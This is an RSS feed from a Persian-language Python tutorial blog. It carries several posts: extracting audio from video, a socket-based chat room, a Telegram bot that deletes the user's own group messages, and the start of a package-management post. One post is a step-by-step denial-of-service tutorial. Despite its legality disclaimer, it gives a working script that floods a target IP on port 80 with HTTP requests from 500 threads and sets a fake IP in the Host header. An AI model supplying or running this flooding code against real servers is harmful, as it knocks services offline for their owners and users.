<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>نوشته های iranipy</title>
        <link>https://virgool.io/feed/@iranipy</link>
        <description>? آموزش فارسی پایتون ?</description>
        <language>fa</language>
        <pubDate>2026-06-17 05:59:15</pubDate>
        <image>
            <url>https://files.virgool.io/upload/users/1100733/avatar/P7uGNd.jpeg?height=120&amp;width=120</url>
            <title>iranipy</title>
            <link>https://virgool.io/@iranipy</link>
        </image>

                    <item>
                <title>استخراج صدا از ویدئو با پایتون</title>
                <link>https://virgool.io/iranipy/%D8%A7%D8%B3%D8%AA%D8%AE%D8%B1%D8%A7%D8%AC-%D8%B5%D8%AF%D8%A7-%D8%A7%D8%B2-%D9%88%DB%8C%D8%AF%D8%A6%D9%88-%D8%A8%D8%A7-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-szmkcvug1hie</link>
                <description>پایتون زبان برنامه نویسی قدرتمند و سطح بالاییه که خیلی کارا میشه باهاش انجام داد. از وب و هوش مصنوعی تا کار با فایل ها و صدا و تصویر. تو پست این هفته ایرانی پای تصمیم گرفتیم برنامه ای بنویسیم که با استفاده از اون میتونیم صدا و تصویر رو از هم جدا کنیم و به صورت فایل های مستقل ذخیره کنیم.تو این آموزش از کتابخونه قدرتمند moviepy استفاده میکنیم. این کتابخونه سطح بالا که خودش از چندین کتابخونه قدرتمند و سطح پایین دیگه مثل numpy و pillow استفاده میکنه، انجام کاهایی مثل ویرایش صدا و تصویر از طریق پایتون رو برای ما خیلی راحت میکنه.اسکریپتی که قراره بنویسیم رو میتونین از مخزن اصلی گیت هاب ایرانی پای بردارید.مشاهده اسکریپتمشاهده پروژه (شامل همه کدهای نوشته شده و فایلهای راهنما)نصب پیش نیازهاهمونطور که بالاتر گفتیم به کتابخونه moviepy احتیاج داریم. از طریق اجرای دستور زیر تو کامندلاین نصبش میکنیم:pip install moviepyبعد از اجرای این دستور، علاوه بر این کتابخونه چندین کتابخونه دیگه که پیش نیازهای moviepy هستند هم به صورت خودکار نصب میشن.ایمپورت وابستگی هاتو فایل پایتونمون، ماژول مورد نیازمون رو ایمپورت میکنیم:from moviepy.video.io.VideoFileClip import VideoFileClipاز طریق این ماژول میتونیم رو فایل های ویدئویی با فرمت های مختلف، کارهای مختلفی مثل جدا کردن صدا از ویدئو رو انجام بدیم.جدا کردن صدا از ویدئوdef video_to_mp3(video_path: str, output_path: str, output_name: str):
    with VideoFileClip(video_path) as video:
        audio = video.audio
        audio.write_audiofile&#40;f&amp;quot{output_path}/{output_name}.mp3&amp;quot&#41;تو این تابع سه تا پارامتر لازم داریم: اولین پارامتر (video_path)، معادل آدرس اون ویدئویی که میخوایم صداش رو جدا کنیم. اگه فایل ویدئویی و فایل پایتون تو یک دایرکتوری باشن، نوشتن اسم ویدئو به تنهایی کفایت میکنه. دومین پارامتر (output_path)، مسیریه که میخوایم فایل صوتی mp3 اونجا ذخیره شه. سومین پارامتر (output_name)، اسمیه که میخوایم فایل صوتی mp3 به اون اسم ذخیره شه.ویدئو رو با تابع VideoFileClip باز کردیم و به متغیر video نسبتش دادیم. بعد از اون صدای فایل تصویریمون رو به متغیر audio نسبت دادیم. در قسمت آخر با صدا کردن تابع ()write_audiofile، یک فایل صدای جدید با محتوای صدای ویدئو انتخاب شده درست کردیم و فایل رو تو مسیر داده شده (output_path) و اسم داده شده (output_name) با فرمت mp3 ذخیره کردیم.ذخیره ویدئو بدون صداdef mute_video(video_path: str, output_path: str, output_name: str):
    with VideoFileClip(video_path) as video:
        ext = video.filename.split(&amp;quot.&amp;quot)[-1]
        muted = video.without_audio()
        muted.write_videofile&#40;
            f&amp;quot{output_path}/{output_name}.{ext}&amp;quot,
            audio=False, codec=&amp;quotmpeg4&amp;quot
        &#41;اینجا هم مثل تابع قبل که بالاتر توضیح دادیم، سه تا پارامتر داریم که همون وظایف رو به عهده دارن. مجددا فایل ویدئو رو باز کردیم و به video نسبتش دادیم. فرمت فایل رو از روی اسمش پیدا کردیم و به ext  نسبت دادیم. از این متغیر برای ذخیره فایل نهایی استفاده میکنیم. با صدا زدن تابع ()without_audio، صدا رو از ویدئو حذف کردیم و صامتش کردیم و این ویدئو صامت رو به متغیر muted نسبت دادیم. در آخر با اجرای متد ()write_videofile و پاس دادن اسم فایل نهایی و codec به عنوان پارامترهاش، یک فایل ویدئویی بدون صدا ذخیره کردیم. تو این تابع  وقتی audio رو مساوی با False میذاریم، یعنی موقع ذخیره فایل جدید صدا رو ذخیره نکن.کارمون تموم شد. ? این توابع رو میتونین تو هر پروژه ای استفاده و به راحتی صدا رو از ویدئو جدا کنید.امیدواریم از این پست استفاده  کافی رو برده باشید. اگه شما هم مثل ما از خوندن مطالب پایتونی لذت میبرید،  خوشحال میشیم ما رو تو شبکه های اجتماعی دنبال و در صورت داشتن انتقاد و  پیشنهاد ما رو ازش مطلع کنید. لایک هم یادتون نره :)حمایت از مابا دنبال کردن ما درgithubtelegraminstagramtwitterیا کمک مالی به مبلغ دلخواه از طریق درگاه آیدی پی میتونید از ما حمایت کنید.وب سایت (به زودی): iranipy.ir</description>
                <category>iranipy</category>
                <author>iranipy</author>
                <pubDate>Sat, 06 Nov 2021 17:42:26 +0330</pubDate>
            </item>
                    <item>
                <title>ساخت چت روم با پایتون</title>
                <link>https://virgool.io/iranipy/%D8%B3%D8%A7%D8%AE%D8%AA-%DA%86%D8%AA-%D8%B1%D9%88%D9%85-%D8%A8%D8%A7-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-lgslgsmoxnli</link>
                <description>تو آموزش این هفته ایرانی پای قراره چت رومی رو با پایتون پیاده سازی کنیم که تو کامندلاین اجرا میشه و شامل دو بخش سرور (میزبان) و کلاینت (کاربر) میشه. هر کاربری با هر دستگاهی که بتونه اسکریپت پایتون رو اجرا کنه، میتونه به سرور متصل بشه و با کاربرای دیگه چت کنه.برای پیاده سازی برنامه مون، از معماری client-server استفاده میکنیم. این به این معنیه که ما چندتا کلاینت (کاربر) و یک سرور مرکزی داریم که همه چیز رو میزبانی می کنه و دیتا رو برای این کلاینت ها فراهم می کنه.برای دستیابی به این هدف دوتا اسکریپت نیاز داریم، یکی سرور، که همه کاربرا بهش متصل شن و یکی هم کلاینت، که کاربرا بتونن به سرور متصل بشن.اسکریپتهایی که قراره بنویسیم رو میتونین از مخزن اصلی گیت هاب ایرانی پای بردارید.مشاهده اسکریپت سرورمشاهده اسکریپت کلاینتمشاهده پروژه (شامل همه کدهای نوشته شده و فایلهای راهنما)بخش اول: ساخت سرورایمپورت وابستگی هابه دوتا کتابخونه socket و threading نیاز داریم. اولی برای ساخت و ارتباط با شبکه و دومی برای انجام همزمان چندتا کار روی رشته های مختلف کاربرد داره. فایلی به اسم server.py میسازیم و دو خط پایین رو توش مینویسیم:import socket 
import threadingساخت سوکتدر ادامه باید اطلاعات کانکشن رو وارد کنیم؛ یک instance از socket برای اتصال به شبکه میسازیم. برای این کار به آدرس ip و port نیاز داریم. تو این آموزش ما از localhost استفاده میکنیم. اگه قراره این اسکریپت روی سرور اجرا بشه، باید ip اون سرور به جای localhost وارد بشه. پورتی که انتخاب میکنید اهمیت نداره ولی نکته ای که باید رعایت کنید اینه که پورت اشغال نباشه و جای دیگه ای در حال استفاده نباشه.host = &#039;127.0.0.1&#039;
port = 55555
clients = [] 
nicknames = []

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen()دوتا لیست clients و nicknames کلاینت هایی که متصل شدن و اسم هایی که موقع اتصال انتخاب کردن رو نگه میدارن.موقع تعریف کردن socket باید دو تا پارمتر رو بهش پاس بدیم که مشخص میکنن چه نوع سوکتی میخوایم استفاده کنیم. اولی یعنی AF_INET برای اینه که مشخص کنیم میخوایم از internet socket استفاده کنیم نه unix socket. پارامتر دوم برای زمانیه که میخوایم از TCP استفاده کنیم و نه UDP. خط بعدی به سوکتی که که ساختیم میگیم از آیپی و پورتی که مشخص کردیم برای اتصال به شبکه استفاده کنه. دقت کنید که آیپی و پورت رو به صورت تاپل به سرور دادیم. خط بعدی سرور رو تو حالت listening میذاریم که تو این حالت سرور منتظر اتصال کلاینت ها میمونه.ارسال پیام به تمام کلاینت ها def broadcast(message):
    for client in clients:
        client.send(message)به کمک تابع broadcast میتونیم یک پیام رو برای تمام کلاینت های متصل به سرور ارسال کنیم. از این تابع برای فرستادن پیام های یک کلاینت به بقیه کلاینت ها استفاده میکنیم.هندل کردن کردن پیام ها خب رسیدیم به بخش اصلی برنامه یعنی هندل کردن کلاینت ها و پیام ها:def handle(client):
    while True:
        try:
            message = client.recv(1024)
            broadcast(message)
        except:
            index = clients.index(client)
            clients.remove(client)
            client.close()
            nickname = nicknames[index]
            broadcast(&#039;{} left!&#039;.format(nickname).encode(&#039;ascii&#039;))
            nicknames.remove(nickname)
            breakهمون طور که مشخصه این تابع یک کلاینت رو به عنوان پارامتر دریافت میکنه و یک حلقه بی نهایت (infinite loop) ایجاد میکنه و تا زمانی که اروری raise نشه، متوقف نمیشه. این تابع قراره برای هر کلاینت جداگونه اجرا بشه.وظیفه این تابع دریافت اطلاعات ارسالی از سوکت کلاینت از طریق متد ()recv هستش. عدد 1024 نوشته شده، برای مقدار دیتاییه که تو هربار ارسال دیتا از طرف کلاینت، میخوایم دریافت کنیم (1024 بایت). در نهایت اون دیتا رو به همه کاربرای متصل به سرور ارسال میکنیم. حالا اگه خطایی پیش بیاد چه اتفاقی میوفته؟ خط به خط except رو بررسی میکنیم:اندیس کلاینت رو توی لیست clients که بالاتر تعریف کردیم به index نسبت میدیم.از لیست clients حذفش میکنیم.اتصالش به سرور رو قطع میکنیم.اسم انتخابی کلاینت رو از طریق index پیدا میکنیم.یک پیام برای همه با محتوای &lt;&lt;فلان کاربر از چت خارج شد&gt;&gt; ارسال میکنیم.اسمش رو از لیست nicknames پاک میکنیم.از حلقه while خارج میشیم.پذیرفتن کلاینتdef receive():
    while True:
        client, address = server.accept()
        print(&amp;quotConnected with {}&amp;quot.format(str(address)))

        client.send(&#039;NICK&#039;.encode(&#039;ascii&#039;))
        nickname = client.recv(1024).decode(&#039;ascii&#039;)
        nicknames.append(nickname)
        clients.append(client)

        print(&amp;quotNickname is {}&amp;quot.format(nickname))
        broadcast(&amp;quot{} joined!&amp;quot.format(nickname).encode(&#039;ascii&#039;))
        client.send(&#039;Connected to server!&#039;.encode(&#039;ascii&#039;))

        thread = threading.Thread(target=handle, args=(client,))
        thread.start()وقتی که آماده اجرا کردن اسکریپت سرورمون هستیم، تابع receive رو اجرا میکنیم. اینجا دوباره از حلقه بی نهایت (infinite loop) استفاده میکنیم که دائما کانکشن های جدید از سمت کلاینت رو قبول میکنه و به سرور متصل میکنه.وقتی کلاینت جدید به سرور متصل میشه، بعد از قبول کردن اتصال، اولین کاری که انجام میده ارسال رشته NICK به کلاینته که در واقع از این طریق به کلاینت میگیم اسم مستعار (nickname) خودشو به سرور بفرسته. بعد منتظر دریافت پیام از طرف کاربر میمونه و اون پیام دریافتی رو به عنوان اسم مستعار (nickname) کاربر تازه متصل شده در نظر میگیره و اطلاعات اون کلاینت و اسم انتخابیش رو به ترتیب به لیست های clients و nicknames اضافه میکنه. بعد پیامی رو برای همه کاربرهای متصل به سرور ارسال میکنه و میگه فلان کاربر به سرور متصل شد و بعد از اون پیامی به اون کلاینت ارسال میکنه که نشون دهنده موفقیت آمیز بودن اتصالشه. در آخر هم رشته (thread) جدیدی میسازیم که با اجرای تابع handle که بالاتر تعریف کردیم، کلاینت رو هندل کنه.دقت کنید که ما همیشه برای دریافت و ارسال اطلاعات، دیتا رو encode میکنیم، چون ارسال و دریافت به صورت رشته (string) ممکن نیست و دیتا باید به شکل بایت (byte) باشه. اجرای سرورتو خط آخر فقط کافیه این تابع رو اجرا و اسکریپت رو اجرا کنیم:receive()بخش دوم: کلاینتخب کار ساخت سرور تموم شد اما بدون کلاینت عملا هیچ کاربردی نداره؛ پس بریم سراغ پیاده سازی اسکریپت کلاینت.ایمپورت پیش نیازهافایلی به اسم client.py بسازید و کتابخونه هایی که تو اسکریپت سرور ایمپورت کردید رو، اینجا هم ایمپورت کنید:import socket
import threadingساخت سوکتقدم اول برای ساخت کلاینت، انتخاب یک اسم دلخواه و ساخت سوکت کانکشن و اتصال به سروره. برای اتصال به ip و پورت سرور نیاز داریم:server_ip= &#039;127.0.0.1&#039; 
server_port = 55555

nickname = input(&#039;choose a nickname: &#039;)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((server_ip, server_port))اینجا هم دقیقا مثل بالا عمل کردیم. تنها متد جدید استفاده شده در اینجا متد ()connect هستش که برای اتصال کلاینت به سرور استفاده میشه.دریافت دیتا از سروربه تابعی نیاز داریم که دائما در حال گوش دادن به سرور باشه و در صورتی که سرور پیامی رو فرستاد، اونو نمایش بده:def receive():
    while True:
        try:
            message = client.recv(1024).decode(&#039;ascii&#039;)
            if message == &#039;NICK&#039;:
               client.send(nickname.encode(&#039;ascii&#039;)
           else:
               print(message)
        except:
            print(&#039;An error occured&#039;)
            client.close()
            breakدوباره یک حلقه بی نهایت (infinite loop) میسازیم و پیام های ارسالی از طرف سرور رو دریافت و چاپ میکنیم. فقط اگه پیام دریافتی NICK باشه، یعنی سرور از ما درخواست یک اسم مستعار (nickname) کرده، پس به جای چاپ کردن پیام، اسم انتخابی رو ارسال میکنیم. در آخر مشخص میکنیم که اگه مشکلی به وجود اومد، بعد از چاپ پیام برای اطلاع رسانی، کانکشن رو ببند و از حلقه خارج شو.ارسال پیامdef write():
    while True:
        message = &#039;{}: {}&#039;.format(nickname, input())
        client.send(message.encode(&#039;ascii&#039;))این تابع دائما منتظر ورودی از طرف کاربر میمونه. زمانی که چیزی وارد میکنه اونو به همراه nickname به صورت encode شده به سرور ارسال میکنه.تو مرحله آخر، تنها کاری که باید انجام بدیم، اجرای دو رشته برای اجرای این دوتا تابع به صورت همزمانه:receive_thread = threading.Thread(target=receive)
receive_thread.start()

write_thread = threading.Thread(target=write)
write_thread.start()کارمون تموم شد. ?با استفاده از اسکریپت سرور و کلاینت، تعداد دلخواه کلاینت میتونن به سرور وصل شن و با هم ارتباط برقرار کنن. فقط دقت کنید که همیشه اول سرور رو اجرا کنید که کلاینت ها بتونن بهش وصل شن. هربار که اسکریپت کلاینت رو اجرا کنیم، کلاینت جدیدی به سرور متصل میشه و میتونه با بقیه کلاینت های متصل، ارتباط برقرار کنه.امیدواریم از این پست استفاده کافی رو برده باشید. اگه شما هم مثل ما از خوندن مطالب پایتونی لذت میبرید، خوشحال میشیم ما رو تو شبکه های اجتماعی دنبال و در صورت داشتن انتقاد و پیشنهاد ما رو ازش مطلع کنید. لایک هم یادتون نره :)حمایت از مابا دنبال کردن ما درgithubtelegraminstagramtwitterیا کمک مالی به مبلغ دلخواه از طریق درگاه آیدی پی میتونید از ما حمایت کنید.وب سایت (به زودی): iranipy.ir</description>
                <category>iranipy</category>
                <author>iranipy</author>
                <pubDate>Sat, 30 Oct 2021 20:02:15 +0330</pubDate>
            </item>
                    <item>
                <title>نوشتن اسکریپت حمله DDoS با پایتون</title>
                <link>https://virgool.io/iranipy/%D9%86%D9%88%D8%B4%D8%AA%D9%86-%D8%A7%D8%B3%DA%A9%D8%B1%DB%8C%D9%BE%D8%AA-%D8%AD%D9%85%D9%84%D9%87-ddos-%D8%A8%D8%A7-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-bsr4oboaqlsw</link>
                <description>تو این آموزش قصد داریم اسکریپت DDoS رو با پایتون بنویسیم. این برنامه به ما این امکان رو می ده تا به سرور تعداد زیادی درخواست بفرستیم، که بعد از مدتی دیگه نمی تونه به درخواست ها جواب بده و خراب میشه.هشدار! انجام حمله DDoS روی هر سروری که مال شما نیست یا مجوز حمله ندارید، غیرقانونیه. حمله به سایر سرورها به غیر از سرور خودتون رو توصیه نمی کنیم و هیچ مسئولیتی در قبال کاری که قراره با این اسکریپت انجام بدید نداریم. این پست کاملاً آموزشیه و قراره به شما تو درک شبکه و برنامه نویسی با پایتون کمک کنه.تعریف حمله DDoSکلمه DDoS مخفف Distributed Denial of Service هستش و به حمله ای گفته میشه که منابع سرور رو با پر کردن درخواست ها مسدود می کنیم. معمولاً این نوع حمله به تنهایی انجام نمیشه بلکه با کمک به اصطلاح بات نت ها انجام میشه.هکر کامپیوترها و سرورهای افراد عادی رو آلوده میکنه و ازشون به عنوان زامبی و برای حمله جمعی به سرور استفاده میکنه. در واقع به جای یک اسکریپت DDoS، می تونه هزاران اسکریپت رو اجرا کنه. دیر یا زود سرور از حجم درخواست ها غرق میشه به طوری که حتی نمی تونه به یک کاربر معمولی جواب بده. برای سرورهای کوچکتر و ضعیفتر، معمولا یک مهاجم هم برای پائین آوردنش کافیه. معمولاً با مسدود کردن آدرس های IP مهاجمان میشه با چنین حملاتی مقابله کرد.اسکریپتی که قراره بنویسیم رو میتونین از مخزن اصلی گیت هاب ایرانی پای بردارید.مشاهده اسکریپتمشاهده پروژه (شامل همه کدهای نوشته شده و فایلهای راهنما)پیاده سازی اسکریپتپیاده سازی  اسکریپت DDoS با پایتون ساده ست. فقط باید چندین بار درخواست ها رو به پورت خاصی از میزبان بفرستیم. این کار رو میشه با سوکت انجام داد. برای سرعت دادن به روند کار هم، از چند رشته (thread) استفاده می کنیم.کتابخانه های زیر رو ایمپورت میکنیم:import socket 
import threadingاولین چیزی که لازم داریم آدرس IP هدفه، پورتی که می خوایم بهش حمله کنیم و آدرس IP جعلی ما که می خوایم ازش استفاده کنیم. توجه کنید که این نوع آدرس IP جعلی واقعاً شما رو ناشناس نمیکنه.target_ip = &#039;10.0.0.138&#039; 
fake_ip = &#039;182.21.20.32&#039; 
port = 80همونطور که بالاتر اشاره شد، DDoS غیرقانونیه. بنابراین مراقب هدفی که اینجا انتخاب می کنید باشید. تو مثال بالا، آدرس IP روتر خودمون رو انتخاب کردیم. همچنین می تونین چاپگر یا حتی وب سایت خودتون رو انتخاب کنید.به عنوان یک آدرس IP جعلی، تو کد بالا، آدرس تصادفی اما معتبر رو انتخاب کردیم. نکته آخر اینکه تصمیم گرفتیم به پورت 80 که HTTP هستش حمله کنیم. اگر می خواید سرویس خاصی رو تعطیل کنید، باید بدونید که با کدوم پورت کار میکنه.def attack(): 
    while True: 
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        s.connect((target_ip, port)) 
        s.sendto((&amp;quotGET /&amp;quot + target_ip + &amp;quot HTTP/1.1\r\n&amp;quot).encode(&#039;ascii&#039;), (target_ip, port)) 
        s.sendto((&amp;quotHost: &amp;quot + fake_ip + &amp;quot\r\n\r\n&amp;quot).encode(&#039;ascii&#039;), (target_ip, port)) 
        s.close()تابع attack، تابعیه که قراره تو رشته های جداگانه اجرا بشه. یک حلقه بی پایان (infinite loop) شروع میکنه، داخلش سوکت می سازه، به هدف متصل میشه و چندین بار درخواست HTTP ارسال میکنه. البته اگر به پورت دیگه ای حمله می کنید، باید نوع درخواست ارسال شده رو هم تغییر بدید.آدرس IP جعلی خودمون رو به درخواست تزریق کردیم. خود درخواست باید به صورت بایت کدگذاری بشه تا بتونیم به سرور بفرستیمش. با آخرین خط هم، سوکت رو می بندیم.حالا کاری که باید انجام بدیم اجرای این تابع روی چندتا رشته به صورت همزمانه. اگه ما فقط تابع رو اجرا کنیم، درخواست های زیادی چندین بار ارسال میشه اما هر درخواست بعد از بسته شدن درخواست قبلی فرستاده میشه. با استفاده از چندتا رشته، می تونیم درخواست های زیادی را به طور همزمان ارسال کنیم.for _ in range(500): 
    thread = threading.Thread(target=attack) 
    thread.start()تو مثال بالا، ما 500 رشته رو start میکنیم تا تابع attack رو اجرا کنن.وقتی اسکریپت رو اجرا می کنیم، درست کار میکنه اما چیزی نمی بینیم. اگه می خواید اطلاعاتی رو ببینید، می تونید مقادیر درخواست های ارسال شده رو چاپ کنید. توجه کنید که ممکنه این کار باعث کند شدن حمله بشه.attack_num = 0 

def attack(): 
    while True: 
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        s.connect((target_ip, port)) 
        s.sendto((&amp;quotGET /&amp;quot + target_ip + &amp;quot HTTP/1.1\r\n&amp;quot).encode(&#039;ascii&#039;), (target_ip, port)) 
        s.sendto((&amp;quotHost: &amp;quot + fake_ip + &amp;quot\r\n\r\n&amp;quot).encode(&#039;ascii&#039;), (target_ip, port)) 

        global attack_num 
        attack_num += 1 
        print(attack_num) 

        s.close()متغیر attack_num رو اضافه کردیم تا تعداد حمله های انجام شده رو برامون نگه داره. با هر تکرار، مقدارش رو افزایش می دیم و چاپ می کنیم.تو این پست با DDoS آشنا شدیم و دیدیم که چجوری با استفاده از زبان پایتون، اسکریپت DDoS رو میتونیم پیاده کنیم.امیدواریم از این پست استفاده کافی رو برده باشید. اگه شما هم مثل ما از خوندن مطالب پایتونی لذت میبرید، خوشحال میشیم ما رو تو شبکه های اجتماعی دنبال و در صورت داشتن انتقاد و پیشنهاد ما رو ازش مطلع کنید. لایک هم یادتون نره :)حمایت از مابا دنبال کردن ما درgithubtelegraminstagramtwitterیا کمک مالی به مبلغ دلخواه از طریق درگاه آیدی پی میتونید از ما حمایت کنید.وب سایت (به زودی): iranipy.ir</description>
                <category>iranipy</category>
                <author>iranipy</author>
                <pubDate>Sat, 23 Oct 2021 11:35:44 +0330</pubDate>
            </item>
                    <item>
                <title>ساخت ربات تلگرام با Pyrogram: پاک کردن تمام پیام ها در گروه</title>
                <link>https://virgool.io/iranipy/%D8%B3%D8%A7%D8%AE%D8%AA-%D8%B1%D8%A8%D8%A7%D8%AA-%D8%AA%D9%84%DA%AF%D8%B1%D8%A7%D9%85-%D8%A8%D8%A7-pyrogram-%D9%BE%D8%A7%DA%A9-%DA%A9%D8%B1%D8%AF%D9%86-%D8%AA%D9%85%D8%A7%D9%85-%D9%BE%DB%8C%D8%A7%D9%85-%D9%87%D8%A7-%D8%AF%D8%B1-%DA%AF%D8%B1%D9%88%D9%87-pjwlwb11ko3j</link>
                <description>تو پست این هفته ایرانی پای قراره ربات تلگرامی بسازیم که با کمک اون بتونیم همه پیام های خودمون تو گروه رو پاک کنیم. همونطور که میدونید تلگرام قابلیتی برای حذف همه پیام هایی که خودتون تو گروه فرستادین رو نداره و باید دونه دونه و دستی این کار انجام بشه که تقریبا غیرممکن به نظر میرسه، مگه اینکه ادمین باشید. همیشه ممکنه موقعیت هایی پیش بیاد که به هر دلیلی دیگه نخوایم پیام هامون تو گروه وجود داشته باشه، اونجاست که این ربات به دادمون میرسه و با یک دستور ساده کار حذف پیام ها رو برامون انجام میده.تلگرامقطعا تا حالا  از تلگرام استفاده کردید یا اسمش رو از دیگران شنیدید. تلگرام یک پیامرسان قدرتمند با قابلیت های بسیار زیاده که تو سراسر دنیا کاربرهای زیادی داره. ایران هم مستثنی نیست و ایرانی های زیادی ازش استفاده میکنن. این پیامرسان علاوه بر همه ویژگی های خوبی که تو زمینه پیامرسانی داره، یک API قدرتمند و البته رایگان داره که این امکان رو به ما میده که سطح استفاده از این پیامرسان رو به یک مرحله بالاتر ببریم.پایروگرام (Pyrogram)پایروگرام یک فریمورک پیشرفته و در عین حال ساده (سطح بالا)، برای تلگرامه که به زبان Python و C نوشته شده که از فناوری MTProto API استفاده میکنه و برای ساخت همه مدل رباتی کاربرد داره.نصب پیش نیازهابرای استفاده از پایروگرام به پایتون نسخه 3.6 یا بالاتر و آخرین نسخه PIP نیاز داریم.نصب پایتوننصب PIPاز طریق دستورpip3 install -U pyrogram tgcryptoپایروگرام و TGCrypto رو نصب میکنیم. طبق داکیومنت پایروگرام، TGCrypto تو سرعت و عملکرد تاثیر چشمگیری داره؛ پس بهتره که نصب بشه.تنظیمات و پیکربندیتو پوشه اصلی پروژه و کنار فایل اصلی برنامه، فایلی به اسم config.ini می سازیم و این سه خط رو توش مینویسیم[pyrogram]
api_id = 12345678
api_hash = example456123exampleهر اکانت تلگرام API id و API hash مخصوص به خودش رو داره. برای گرفتن اینا لازمه کهتو سایت تلگرام لاگین کنید.فرم مربوط به ساخت application جدید رو پر کنید.مقدار API id و API Hash رو کپی کنید و تو فایل config.ini جایگذاری کنید.راه اندازی اولیهتو این قسمت بعد از ساخت فایل main.py این 3 خط رو توش مینویسیمfrom pyrogram import Client

app = Client(&amp;quotiranipy&amp;quot)
app.run()تو کد بالا یک instance از کلاس Client ساختیم، به متغیر app نسبتش دادیم و یک اسم دلخواه به عنوان پارمتر بهش پاس دادیم(در اینجا iranipy). این اسم کاملا دلخواهه و پایروگرام از اون به عنوان اسم فایل نشستی (session) که در ادامه میسازه استفاده میکنه. از app برای ارتباط با API تلگرام استفاده میکنیم.بعد از نوشتن این کدها فایل رو اجرا میکنیم. بعد از اجرا کردن ازتون میخواد که شماره تلفن به همراه کد کشور (*********989+) رو وارد کنید. بعد از اون کدی که تلگرام براتون ارسال میکنه رو وارد کنید. تبریک میگم با موفقیت وارد اکانتتون شدید و آماده ساخت ربات هستید.نوشتن برنامه اصلیلازمه که ماژول filters رو از پایروگرام ایمپورت کنیم:from pyrogram import Client, filtersخب در ادامه کدهایی که مسئول کارکرد اصلی برنامه هستند رو مینویسیم. این کدها باید قبل از ()app.run نوشته بشن:@bot.on_message(filters.command(&#039;del&#039;) &amp; filters.me)
def delete_my_messages(_, message):
    chat_id = message.chat.id
    for message in bot.iter_history(chat_id):
        if message.from_user.id == your_id:
            message.delete()اول از همه از دکوریتر on_message استفاده کردیم. این دکوریتر برای هندل کردن پیام ها استفاده میشه یعنی فقط زمانی که یک پیام ارسال بشه و از فیلترهای نوشته شده بتونه عبور کنه، این تابع صدا زده میشه. دو تا فیلتر به عنوان آرگومان on_message تعریف کردیم؛ اولی فیلتر commands هست که آرگومانش میشه دستوری که میخوایم با ارسال اون ربات کاری رو انجام بده؛ تو مثال ما اگه تو گروهی دستور del/ رو ارسال کنیم، ربات کار میکنه و در غیر صورت کاری نمیکنه.برای نوشتن فیلتر بعدی از عملگر &amp; استفاده کردیم؛ این عملگر مشخص میکنه که یک پیام باید از هر دو فیلتر عبور کنه وگرنه قابل قبول نیست. فیلتر دوم فیلتر me هست؛ این فیلتر برای اینه که ربات به کسی غیر از صاحب اکانت گوش نده (یعنی اگه کاربر دیگه ای تو گروه نوشت del/ ربات به دل نگیره). خط بعدی تابع با اسم دلخواه delete_my_messages رو تعریف کردیم (توی پایروگرام به این تابع ها میگیم handler). به هر handler دو تا پارامتر پاس داده میشه؛ پس موقع تعریف تابع باید اونا رو درنظر بگیریم. _ همون Client هست که چون ازش استفاده نمیکنیم اسمشو _ گذاشتیم اما دومین پارامتر با اسم message برامون مهمه. این پارامتر برای دسترسی به اطلاعات پیام های دریافتی استفاده میشه و یک instance از کلاس Message پایروگرام هستش.تحلیل بدنه تابع:خط اول بدنه تابع، id چتی که توش دستور del/ ارسال شده رو تو متغیر chat_id ذخیره میکنیم.خط بعدی با استفاده از متد iter_history روی پیام های موجود تو اون گروه (با استفاده از chat_id گروه رو مشخص میکنیم) حلقه میزنیم.خط بعدی شرط میذاریم که اگر آیدی پیام، آیدی ما بود، پیام رو پاک کن. کاری که اینجا لازمه انجام بدیم اینه که آیدی خودمون رو جایگزین your_id بکنیم (بهتره آیدیمونو توی config.ini بزاریم و از اونجا بخونیمش ولی برای سادگی و طولانی نشدن آموزش، فعلا hardcode میکنیم). خط آخر هم با استفاده از متد delete پیام رو پاک میکنیم.دریافت آیدی شخصیاین بخش برای دوستانی هست که نمیدونن چجوری آیدی تلگرامشون رو پیدا کنن. پس اگه تو این زمینه مشکلی ندارید میتونید از این بخش بگذرید.برای اینکار یک handler دیگه تعریف میکنیم: @app.on_message(filters.command(&#039;my id&#039;) &amp; filters.me)
def my_id(_, message):
    print(message.from_user.id)با این handler هر موقع که دستور my id/ رو ارسال کنید، آیدیتون تو همون shell ای که بات اجرا شده، پرینت میشه.خب به آخر پست این هفته رسیدیم. تو این پست دیدید که که چجوری میشه ربات خیلی ساده و در حین حال کاربردی تلگرام رو تو چند خط کد پیاده کنید (به لطف سطح بالا بودن پایروگرام). از طریق پایروگرام میتونید هر رباتی که دوست دارید رو بسازید و از اون استفاده کنید. اگه به این زمینه علاقه دارید توصیه میکنم حتما به داکیومنت پایروگرام سر بزنید.امیدواریم از این پست استفاده کافی رو برده باشید. اگه شما هم مثل  ما از خوندن مطالب پایتونی لذت میبرید، خوشحال میشیم ما رو تو شبکه های  اجتماعی دنبال و در صورت داشتن انتقاد و پیشنهاد ما رو ازش مطلع کنید. لایک  هم یادتون نره :)حمایت از مابا دنبال کردن ما درgithubtelegraminstagramtwitterیا کمک مالی به مبلغ دلخواه از طریق درگاه آیدی پی میتونید از ما حمایت کنید.وب سایت (به زودی): iranipy.ir</description>
                <category>iranipy</category>
                <author>iranipy</author>
                <pubDate>Sat, 16 Oct 2021 17:41:16 +0330</pubDate>
            </item>
                    <item>
                <title>مدیریت بسته پایتون (python package management) با poetry</title>
                <link>https://virgool.io/iranipy/%D9%85%D8%AF%DB%8C%D8%B1%DB%8C%D8%AA-%D8%A8%D8%B3%D8%AA%D9%87-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-python-package-management-%D8%A8%D8%A7-poetry-%D8%A8%D8%AE%D8%B4-%D8%A7%D9%88%D9%84-z3cmxo8vvffd</link>
